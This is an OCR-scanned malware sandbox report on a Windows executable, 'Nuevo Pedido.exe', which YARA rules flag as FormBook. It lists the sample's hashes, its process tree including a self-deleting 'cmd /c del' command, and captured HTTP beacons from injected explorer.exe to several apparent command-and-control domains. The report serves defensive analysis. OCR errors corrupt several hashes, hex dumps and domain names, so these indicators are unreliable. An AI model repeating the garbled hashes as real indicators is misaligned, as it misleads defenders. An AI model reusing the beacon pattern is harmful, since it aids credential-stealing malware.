https://view.joesandbox.com/analysis/413392/html/none?idtype=webid
https://view.joesandbox.com/analysis/412723/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412723/html/none?idtype=webid
https://view.joesandbox.com/analysis/412636/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412636/html/none?idtype=webid
https://view.joesandbox.com/analysis/411778/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411778/html/none?idtype=webid
https://view.joesandbox.com/analysis/410313/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410313/html/none?idtype=webid
https://view.joesandbox.com/analysis/410309/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410309/html/none?idtype=webid
https://view.joesandbox.com/analysis/408793/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/408793/html/none?idtype=webid
https://view.joesandbox.com/analysis/408057/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/408057/html/none?idtype=webid
https://view.joesandbox.com/analysis/406315/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406315/html/none?idtype=webid
https://view.joesandbox.com/analysis/405308/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405308/html/none?idtype=webid

Match

Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 185.53.179.94
Get hash malicious Browse e 185.53.178.51
Get hash malicious Browse e 185.53.179.94
Get hash malicious Browse e 185.53.178.10
Get hash malicious Browse e 185.53.178.13
Get hash malicious Browse e 185.53.178.30
Get hash malicious Browse e 185.53.177.12

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\Nuevo Pedido.exe

ASCII text, with CRLF line terminators

dropped

2239

5.354287817410997

false
48:MxHKXeHKIEHUOYHKhQnouHIW7HK|jntHoxHhAHKzvr1gHXHK2HKgmHKovjHKs:igXeqm00YghQnouRgjntixHeqzTw3q2W
913D1EEA179415C6D08FB255AE42B99D

E994C612C0596994AAES5FBCE35B7A4FBE312FD7
473B4000084ACF4C7D701CE72EBF71BD304054231B3BDF7CAF49898A1FDA13D0

768045C288CEEE8FE1A099FC8CEA713B685F6ED3FD8BFA1C8EG64CAQ9F7AFOFEBEA9OF5277B28444AFF8F2AC7CD857DFCDF7D3A98CD86288925DB7A4A42346
85

true

moderate, very likely benign file

1,"fusion","GAC",0..1,"WIinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelma
ges_v4.0.30319_32\System\4f0a7eefa3cd3e0bad8b5ebddbbc72e6\System.ni.dll*,0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf
3856ad364e35","C:\Windows\assembly\Nativelmages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll*,0..3,"Present
ationFramework, Version=4.0.0.0, Culture=neutral, PublickeyToken=31bf3856ad364e35","C:\Windows\assembly\Nativelmages_v4.0.30319_32\Presentatio5ae0f00f
#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll*,0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
,"C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll*,0..3,"WindowsBase, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\Nativelmages_v4.0.30319_32\Wi

Static File Info

General
File type:

Entropy (8bit):
TrID:

File name:
File size:
MD5:
SHA1L:
SHA256:

PE32 executable (GUI) Intel 80386 Mono/.Net assemb
ly, for MS Windows

7.844153530186034

e Win32 Executable (generic) Net Framework
(10011505/4) 49.83%

e Win32 Executable (generic) a (10002005/4)

49.78%

Generic CIL Executable (.NET, Mono, etc.)

(73296/58) 0.36%

e Generic Win/DOS Executable (2004/3) 0.01%

e DOS Executable Generic (2002/1) 0.01%

Nuevo Pedido.exe

444928

159c¢46¢59cd8ech7a2bce707delbc370
e76f6dc42b06e706b6ce49cf6c95c9eaablic9334

7f91403a34cde3f8ald3a30a2cec9abfb30f5f7eb52f777af
78fa0d34f7a27f9
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https://view.joesandbox.com/analysis/404954/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404954/html/none?idtype=webid
https://view.joesandbox.com/analysis/404943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404943/html/none?idtype=webid
https://view.joesandbox.com/analysis/404381/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404381/html/none?idtype=webid
https://view.joesandbox.com/analysis/400415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400415/html/none?idtype=webid
https://view.joesandbox.com/analysis/398513/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398513/html/none?idtype=webid
https://view.joesandbox.com/analysis/398092/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398092/html/none?idtype=webid
https://view.joesandbox.com/analysis/396657/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396657/html/none?idtype=webid

General

SHAS512: 909¢79f9172d2d525d25a02e050fd55d2043fbf257479de
73a70bch323984da620aac0abdb105194e88a5df8b135d
5d27eele69ee56511211a89c4e911155417

SSDEEP: 12288:ZRGVMOReBZwWHIRUBHfMTr6hNprMfGmzGixBF
m:ZRIMOReBZwHkHIrGholGil

File Content Preview: MZ..ooiiiiiiie, @i
is program cannot be run in DOS mode....$.

ea.. 0..
L@....

File Icon

Icon Hash: 00828e8e8686b000

Static PE Info

General

Entrypoint: 0x46ddfe

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Time Stamp: 0x619F6582 [Thu Nov 25 10:29:22 2021 UTC]

TLS Callbacks:

CLR (.Net) Version: v4.0.30319

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Data Directories

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x2000 Ox6bel4 0x6c000 False 0.883305302373 data 7.85660170333 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

.rsrc 0x6e000 0x5ec 0x600 False 0.438802083333 data 4.21429058876 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

.reloc 0x70000 Ooxc 0x200 False 0.041015625 data 0.0815394123432 IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABL
E, IMAGE_SCN_MEM_READ

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts
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Timestamp Protocol SID
11/25/21- TCP 1201
15:10:30.664595

11/25/21- TCP 1201

15:11:10.632399

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp

Nov 25, 2021 15:10:28.557399035 CET
Nov 25, 2021 15:10:29.541821003 CET
Nov 25, 2021 15:10:30.537902117 CET
Nov 25, 2021 15:10:35.684943914 CET
Nov 25, 2021 15:10:40.778733969 CET
Nov 25, 2021 15:10:46.014628887 CET
Nov 25, 2021 15:10:54.439486027 CET
Nov 25, 2021 15:10:59.496768951 CET

Nov 25, 2021 15:11:05.443424940 CET

Nov 25, 2021 15:11:10.502841949 CET

Nov 25, 2021 15:11:21.011703014 CET

DNS Answers

Timestamp Source IP

Nov 25, 2021
15:10:30.595156908
CET

Nov 25, 2021
15:10:35.723468065
CET

Nov 25, 2021
15:10:40.961405993
CET

Nov 25, 2021
15:10:46.186077118
CET

Nov 25, 2021
15:10:54.490019083
CET

Nov 25, 2021
15:10:59.690080881
CET

Nov 25, 2021
15:10:59.690080881
CET

Nov 25, 2021
15:11:05.481781960
CET

Nov 25, 2021
15:11:10.580288887
CET

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Copyright Joe Security LLC 2021

Message

ATTACK-RESPONSES 403 Forbidden

Dest IP
192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

Source IP

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

Trans ID
Oxb6ee

0x71a6

0x9af3

0x9e9c

0x579a

Oxcd40

0Oxcd40

0x841d

Oxdf5d

ATTACK-RESPONSES 403 Forbidden

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

Name error (3)

No error (0)

Name error (3)

No error (0)

No error (0)

Name error (3)

No error (0)

Trans ID

Oxb6ee

Oxb6ee

Oxb6ee

0x71a6

0x9af3

0x9e9c

0x579a

0Oxcd40

0x841d

Oxdfsd

0x5040

Name

www.trembl
ock.com

WWw.rcepjo
bs.com

WWW.S0sibi
byslot.website

www.downin
gmunroe.online

www.bluepr
introslyn.com

www.thejoh
nmatt.com

thejohnmatt.com

www.secure
bankofamer
icalog.site

www.online
datingthai
web.com

OP Code
Standard query
(©)

Standard query
©)

Standard query
©)

Standard query
©)

Standard query
©)

Standard query
©)

Standard query
©)

Standard query
©)

Standard query
©)

Standard query
)

Standard query
(©)

CName

none

none

thejohnmatt.com

none

Source Dest

Port
80

80

Name

www.trembl
ock.com

www.trembl
ock.com

www.trembl
ock.com

Www.rcepjo
bs.com

www.sosibi
byslot.website

www.downin
gmunroe.online

www.bluepr
introslyn.com

www.thejoh
nmatt.com

Www.secure
bankofamer
icalog.site

www.online
datingthai
web.com

www.trendd
offical.com

Address

185.53.178.53

3.64.163.50

none

209.17.116.163

none

192.232.250.147

none

185.53.179.91

Port Source IP Dest IP

49784 185.53.178.53 192.168.2.5

49839 185.53.179.91 192.168.2.5
Type Class

A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
Type Class

A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
CNAME IN (0x0001)

(Canonical name)

A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
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Timestamp Source IP Dest IP

Nov 25, 2021 8.8.8.8 192.168.2.5

15:11:21.075328112
CET

HTTP Request Dependency Graph

e www.tremblock.com

* www.rcepjobs.com

e www.downingmunroe.online

e www.thejohnmatt.com

e www.onlinedatingthaiweb.com

HTTP Packets

Session ID Source IP
0 192.168.2.5

kBytes
Timestamp transferred
Nov 25, 2021 9620

15:10:30.644892931 CET

Nov 25, 2021 9620
15:10:30.664594889 CET

Session ID Source IP
1 192.168.2.5

kBytes
Timestamp transferred
Nov 25, 2021 14112

15:10:35.747081041 CET

Nov 25, 2021 14112
15:10:35.767437935 CET

Copyright Joe Security LLC 2021

Source Port

49784

Direction

ouT

Source Port
49786

Direction
ouT

0x5040

Trans ID Reply Code Name CName Address Type Class

Name error (3)  www.trendd none none A (IP address) IN (0x0001)
offical.com

Destination IP Destination Port Process

185.53.178.53 80 C:\Windows\explorer.exe

Data

GET /udeh/?2dYxhfjx=E9wG6DB+gJGrCrA7N2npAfbzd/MNcvRPOYSWLCgDnz2ZmMEe2tMuLmGDUaa3MX32MwTcl&s
6AD=5jItOBY8-rN HTTP/1.1

Host: www.tremblock.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: nginx

Date: Thu, 25 Nov 2021 14:10:30 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46
6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e
78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e Od Oa

Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>nginx</center></body></html>

Destination IP  Destination Port Process
3.64.163.50 80 C:\Windows\explorer.exe

Data

GET /udeh/?2dYxhfjx=Sh2Frx7Ne5Gbf0GZF0aHNOEyZIj99LhHOr4v0jLu0VOTkpyLoQ3tHVxXja8cQ+goaRshCé&s
6AD=5jItOBY8-rN HTTP/1.1

Host: www.rcepjobs.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 410 Gone

Server: openresty

Date: Thu, 25 Nov 2021 14:10:35 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Data Raw: 37 0d 0Oa 3c 68 74 6d 6¢ 3e 0a 0d Oa 39 0d Oa 20 20 3c 68 65 61 64 3e 0a 0d Oa 34 63 0d Oa 20 20 20 20 3c 6d
65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 35 3b 20 75 72
6c 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 72 63 65 70 6a 6f 62 73 2e 63 6f 6d 2f 27 20 2f 3e 0a 0d Oa 61 0d Oa 20 20 3c 2f
68 65 61 64 3e 0a 0d Oa 39 0d Oa 20 20 3c 62 6f 64 79 3e Oa 0d Oa 33 38 0d Oa 20 20 20 20 59 6f 75 20 61 72 65 20 62
65 69 6e 67 20 72 65 64 69 72 65 63 74 65 64 20 74 6f 20 68 74 74 70 3a 2f 2f 77 77 77 2e 72 63 65 70 6a 6f 62 73 2e 63
6f 6d 0a 0d 0a 61 0d Oa 20 20 3c 2f 62 6f 64 79 3e Oa 0d Oa 38 0d Oa 3c 2f 68 74 6d 6¢ 3e Oa 0d Oa 30 Od Oa 0d Oa

Data Ascii: 7<htm|>9 <head>4c <meta http-equiv="refresh' content="5; url=http://www.rcepjobs.com/' />a </head>9 <b
ody>38 You are being redirected to http://www.rcepjobs.coma </body>8</htmI>0
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Session ID

2

Timestamp

Nov 25, 2021
15:10:49.310664892 CET

Nov 25, 2021
15:10:49.426548958 CET

Session ID

3

Timestamp

Nov 25, 2021
15:10:59.895478964 CET

Nov 25, 2021
15:11:01.556123972 CET

Session ID
4

Timestamp

Nov 25, 2021
15:11:10.615487099 CET

Nov 25, 2021
15:11:10.632399082 CET

Source IP

192.168.2.5
kBytes

transferred

15995

15996

Source IP

192.168.2.5
kBytes

transferred

16019

16020

Source IP
192.168.2.5

kBytes

transferred
16021

16021

Copyright Joe Security LLC 2021

Source Port

49816

Direction

ouT

Source Port

49838

Direction

ouT

Source Port
49839

Direction
ouT

Destination IP Destination Port Process

209.17.116.163 80 C:\Windows\explorer.exe

Data

GET /udeh/?2dYxhfjx=XsaaYVs5B+09RIkVBuB9uz7A4nUjKuiPTgX8t5JQ0XDGnKg9QQr8GjRKS5XBtOMDEtTg&s
6AD=5jItOBY8-rN HTTP/1.1

Host: www.downingmunroe.online

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 400 Bad Request

Server: openresty/1.17.8.2

Date: Thu, 25 Nov 2021 14:10:49 GMT

Content-Type: text/html

Content-Length: 163

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 30
2042 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e
6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 37 2e 38 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f
68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><h
r><center>openresty/1.17.8.2</center></body></html>

Destination IP Destination Port Process

192.232.250.147 80 C:\Windows\explorer.exe

Data

GET /udeh/?2dYxhfjx=0v0JDamFDTMX/NINQ6dXBWp9D4Bna97Y Elhf43tol E+QttJEvvSYuVruiBSF6Ny2F/6R&s
6AD=5jItOBY8-rN HTTP/1.1

Host: www.thejohnmatt.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Thu, 25 Nov 2021 14:11:01 GMT

Server: nginx/1.17.9

Content-Type: text/html; charset=UTF-8
Content-Length: 0

Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Redirect-By: WordPress

Location: http://thejohnmatt.com/udeh/?2dYxhfjx=0v0IDamFDTMX/NINQ6dXBWp9D4Bna97YEIhf43tolE+QttJEVVSyY
uVruiBSF6Ny2F/6R&s6AD=5]ItOBY8-rN
X-Endurance-Cache-Level: 0

X-nginx-cache: WordPress

X-Server-Cache: true

X-Proxy-Cache: MISS

Destination IP  Destination Port Process

185.53.179.91 80 C:\Windows\explorer.exe

Data

GET /udeh/?2dYxhfix=WESqUOIrd4N7F4Vkh8SPMOKezyJ+WDn1u3Qqm333AtEi2E+6MV6LR8TxaNrvEIOKysNf&s
6AD=5jItOBY8-rN HTTP/1.1

Host: www.onlinedatingthaiweb.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: nginx

Date: Thu, 25 Nov 2021 14:11:10 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f
7469 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46
6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e
78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>nginx</center></body></html>
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Code Manipulations

Statistics

Behavior

@ Click to jump to process

System Behavior

Analysis Process: Nuevo Pedido.exe PID: 6320 Parent PID: 572

General
Start time: 15:09:07
Start date: 25/11/2021
Path: C:\Users\user\Desktop\Nuevo Pedido.exe
Wow64 process (32bit): true
Commandline: "C:\Users\user\Desktop\Nuevo Pedido.exe"
Imagebase: 0xa80000
File size: 444928 bytes
MDS5 hash: 159C46C59CD8ECB7A2BCE707DE1BC370
Has elevated privileges: true
Has administrator privileges: true
Programmed in: .Net C# or VB.NET
Yara matches: e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000000.00000002.241689369.0000000002E3A000.00000004.00000001.sdmp, Author:
Joe Security
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.242262290.0000000003F97000.00000004.00000001.sdmp, Author:
Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000000.00000002.242262290.0000000003F97000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000002.242262290.0000000003F97000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.241987821.0000000003D7D000.00000004.00000001.sdmp, Author:
Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000000.00000002.241987821.0000000003D7D000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000002.241987821.0000000003D7D000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group
e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000000.00000002.241535390.0000000002D71000.00000004.00000001.sdmp, Author:
Joe Security
Reputation: low
File Activities Show Windows behavior
File Created
File Written
File Read

f 1
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Analysis Process

: Nuevo Pedido.exe PID: 6464 Parent PID: 6320

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

15:09:10

25/11/2021

C:\Users\user\Desktop\Nuevo Pedido.exe

true

C:\Users\user\Desktop\Nuevo Pedido.exe

0xde0000

444928 bytes
159C46C59CD8ECB7A2BCE707DE1BC370

true
true

C, C++ or other language

3

.

.

o

o

.

.

.

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000002.304758888.0000000001500000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000003.00000002.304758888.0000000001500000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000002.304758888.0000000001500000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000002.304729594.00000000014C0000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000003.00000002.304729594.00000000014C0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000002.304729594.00000000014C0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000000.238813583.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000003.00000000.238813583.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000000.238813583.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000002.304467099.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000003.00000002.304467099.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000002.304467099.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000000.239252489.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000003.00000000.239252489.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000000.239252489.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low
File Activities Show Windows behavior
File Read
Analysis Process: explorer.exe PID: 3472 Parent PID: 6464

General

Start time: 15:09:12

Start date: 25/11/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Copyright Joe Security LLC 2021
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Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

C:\Windows\Explorer.EXE

0x7ff693d90000

3933184 bytes
AD5296B280E8F522A8A897C96BABOE1D
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000000.291355057.000000000B790000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000005.00000000.291355057.000000000B790000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000000.291355057.000000000B790000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000000.273788531.000000000B790000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000005.00000000.273788531.000000000B790000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000000.273788531.000000000B790000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: high
File Activities Show Windows behavior
Analysis Process: cscript.exe PID: 6536 Parent PID: 3472

General

Start time: 15:09:37

Start date: 25/11/2021

Path: C:\Windows\SysWOWS64\cscript.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

Copyright Joe Security LLC 2021

true

C:\Windows\SysWOWe64\cscript.exe
0xa50000

143360 bytes
00D3041E47F99E48DD5FFFEDF60F6304
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000010.00000002.500385499.0000000000A10000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000010.00000002.500385499.0000000000A10000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000010.00000002.500385499.0000000000A10000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000010.00000002.499912414.0000000000700000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000010.00000002.499912414.0000000000700000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000010.00000002.499912414.0000000000700000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000010.00000002.499680776.0000000000600000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000010.00000002.499680776.0000000000600000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000010.00000002.499680776.0000000000600000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

moderate
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File Activities

File Read

Show Windows behavior

Analysis Process: cmd.exe PID: 6420 Parent PID: 6536

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

15:09:44

25/11/2021

C:\Windows\SysWOW64\cmd.exe

true

/c del "C:\Users\user\Desktop\Nuevo Pedido.exe"
0x150000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D

true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: conhost.exe PID: 6668 Parent PID: 6420

General

Start time: 15:09:45

Start date: 25/11/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

Disassembly

Code Analysis

Copyright Joe Security LLC
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false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7ecfc0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high

Joe Sandbox Cloud Basic 34.0.0 Boulder Opal
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